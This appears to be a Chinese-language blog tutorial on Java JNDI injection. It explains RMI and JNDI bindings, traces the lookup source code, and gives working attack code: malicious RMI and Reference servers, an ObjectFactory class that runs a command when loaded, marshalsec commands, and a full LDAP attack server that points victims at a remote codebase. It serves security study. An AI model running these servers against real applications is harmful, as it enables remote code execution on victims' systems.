JNDI是一种命名服务,全称叫Java Naming and Directory Interface
开发者可以讲JNDI API映射为特定的命名服务和目录系统。
单纯的文字讲着可能很抽象,来看case
RMI中,提供一个远程对象,并在客户端调用远程对象的方法,代码如下:
JNDI绑定RMI
RMIServer
- 一个公用的继承Remote的接口RemoteInterface
1 2 3
| public interface RemoteInterface extends Remote { public String sayHello(String name) throws RemoteException; }
|
1 2 3 4 5 6 7 8 9
| public class RemoteImpl extends UnicastRemoteObject implements RemoteInterface { protected RemoteImpl() throws RemoteException { }
public String sayHello(String name) { System.out.println("Hello " + name); return "Hello " + name; } }
|
- RMIServer,在里面新建了注册中心并绑定远程对象
1 2 3 4 5 6 7
| public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { RemoteInterface remoteImpl = new RemoteImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("remoteImpl", remoteImpl); } }
|
RMIClient
- 同上,公用的继承Remote的接口RemoteInterface
1 2 3
| public interface RemoteInterface extends Remote { public String sayHello(String name) throws RemoteException; }
|
- RMIClient,获取注册中心,获取远程对象,并执行方法
1 2 3 4 5 6 7
| public class RMIClient { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); RemoteInterface remoteImpl = (RemoteInterface) registry.lookup("remoteImpl"); System.out.println(remoteImpl.sayHello("RMI")); } }
|
而以上代码可以改成JNDI封装的形式,实现同样的功能
JNDIServer(RMI)
RemoteInterface、RemoteImpl、RMIServer的三个代码都不变,加一个JNDIServer进行封装
- JNDIServer。创建一个初始上下文,rebind重新绑定远程对象
1 2 3 4 5 6
| public class JNDIServer { public static void main(String[] args) throws Exception { InitialContext context = new InitialContext(); context.rebind("rmi://localhost:1099/remoteImpl", new RemoteImpl()); } }
|
先开RMIServer,再开JNDIServer
JNDIClient(RMI)
不再需要RMIClient,换成JNDIClient来调用
1 2 3 4 5 6 7
| public class JDNIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteInterface remoteObject = (RemoteInterface) initialContext.lookup("rmi://127.0.0.1:1099/remoteImpl"); remoteObject.sayHello("JNDI"); } }
|
实现和RMIServer,RMIClient一样的效果
源码分析
JNDI绑定RMI,实际上只是做了个封装,还是通过RMI来实现的。也就是说对RMI的攻击同样对JNDI绑定RMI的环境奏效
JNDIServer打个断点
跟着你就发现,来到了RegistryImpl_Stub.rebind()
同理,在RMIClient打个断点
来到了RegistryImpl_Stub.lookup()
完美符合RMI步骤
RMI能打的都能打,只要在版本内
恶意RMI Server
JDK<=8u121
但这里还有个问题,假如说服务器有代码长JNDIClient这样,调用远程对象的方法,再假如lookup的参数我们可以控制
1 2 3
| InitialContext initialContext = new InitialContext(); RemoteInterface remoteObject = (RemoteInterface) initialContext.lookup("rmi://127.0.0.1:1099/remoteImpl"); remoteObject.sayHello("JNDI");
|
是不是我们就能起一个恶意Server,让这个lookup加载我们的恶意远程类。No,因为RMI需要客户端和服务端拥有同一远程接口。比如这个case,我们开盲盒没办法知道RemoteInterface的代码。当然如果你知道的话,就能这么打
攻击机:
需要有RMIServer、和服务器相同的RemoteInterface接口。
另外多出一个恶意对象和恶意JNDI服务
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class RuntimeEvil extends UnicastRemoteObject implements RemoteInterface{ public RuntimeEvil() throws RemoteException {}
@Override public String sayHello(String name) throws RemoteException { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } return "Hello " + name; } }
|
1 2 3 4 5 6
| public class EvilJNDIServer { public static void main(String[] args) throws Exception { InitialContext context = new InitialContext(); context.rebind("rmi://vpsip:port/remoteImpl", new RuntimeEvil()); } }
|
服务器:
控制lookup参数为rmi://vpsip:port/remoteImpl
,必须要调用sayHello才能命令执行
而RMI就不能这么打,因为RMI中我们不能控制URL,需要多一个获取注册中心的部分,但是当然可以JRMP打
JNDI绑定Reference
服务端同样需要RemoteInterface、RemoteImpl、RMIServer
JNDIServer换个方式绑定罢了,看到上面加载RuntimeEvil的例子了吗,需要知道服务器RemoteInterface的代码,并继承UnicastRemoteObject。而经过Reference封装就不用
恶意 Reference Server
RuntimeEvil.class
我们的类在实例化后不能转化为ObjectFactory(ObjectFactory) clas.newInstance()
。让我们的类继承ObjectFactory即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class RuntimeEvil implements ObjectFactory {
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { return null; }
public RuntimeEvil() throws RemoteException { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
需要在RuntimeEvil.class所在路径开一个http服务
python -m http.server 8888
1 2 3 4 5 6 7
| public class JNDIReferenceServer { public static void main(String[] args) throws Exception { InitialContext context = new InitialContext(); Reference reference = new Reference("RuntimeEvil", "RuntimeEvil", "http://localhost:8888/"); context.rebind("rmi://localhost:1099/remoteImpl", reference); } }
|
JNDIClient执行lookup就能弹计算器
新RuntimeEvil.class为什么Reference版的执行命令是写在构造函数,而RMI版命令执行代码是写在实现方法sayHello里面呢?
来看代码:
源码分析
在JNDIReferenceServer的rebind方法打上断点:
跟进去发现,在RegistryContext.rebind内,调用RegistryImpl_Stub.rebind进行绑定的对象,是用encodeObject封装过的
跟进encodeObject,看到,如果绑定的类是Reference类型,则会用RefrenceWrapper封装
OK,恢复程序,再到客户端lookup打上断点
跟到RegistryContext.lookup内,调用RegistryImpl_Stub.lookup后,调用decodeObject解封装
如果需要查询的对象是RemoteReference类型,则用调用getRefrence()获取,紧跟着调用NameManger.getObjectInstance
执行完getReference后,已经变成了我们Server新建的Reference对象。那NameManger.getObjectInstance一定是解析Reference了
没错,NameManger.getObjectInstance内调用了getObjectFactoryFromRefrence和factory.getObjectInstance
getObjectFactoryFromReference内,先调了个helper.loadClass
跟进去发现就是用AppClassLoader来加载类,也就是在本地Path找找有没有这个远程类
loadClass后,紧接着就是从codebase加载类,这里codebase就是我们提供的http路径
最后newInstance创建实例并返回
So,RMI只是返回了创建好的实例。如果JNDI绑定的是Reference,则会传递RefrenceWrapper封装的类,在客户端上解封装并从factoryLocation加载类并实例化。
如果不是Reference,当然不会在客户端实例化,也就不会调用构造函数
上述JNDI+RMI可以用marshalsec来起,注意marshalsec需要保证本机为JDK8
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http:
|
默认RMI为1099
lookup payload:
JNDI other
JNDI支持四种协议,如下表。
协议 |
作用 |
LDAP |
轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI |
JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS |
域名服务 |
CORBA |
公共对象请求代理体系结构 |
其中LDAP,RMI,CORBA都支持加载远程对象并实例化
根据不同的协议,这里获取到的Context不同
比如RMI是获取到RegistryContext.class
jdni在8u121后,在加载factoryLocation时,对远程codebase不再信赖,默认trustURLCodebase为false。
不过只加了RMI和CORBA的,LDAP依旧能打,详情自己去LDAPctx文件跟
如果你要用ldap服务打,相应的就要改RMIServer为LDAPServer:
直接抄一个,因为LDAP服务不是java特有的,其他语言也在用的一个轻型目录访问协议(Lightweight Directory Access Protocol),图方便可以用marshalsec起
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http:
|
也可以用java起,代码比较麻烦
依赖:
1 2 3 4 5
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class LdapAtkServer {
private static final String LDAP_BASE = "dc=t4rrega,dc=domain";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8888/#RuntimeEvil"}; int port = 1099;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
记得要改协议,lookup payload:
8u191 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false,LDAP也打不了了
总之有JNDI,建议直接LDAP打,除非服务器禁了LDAP协议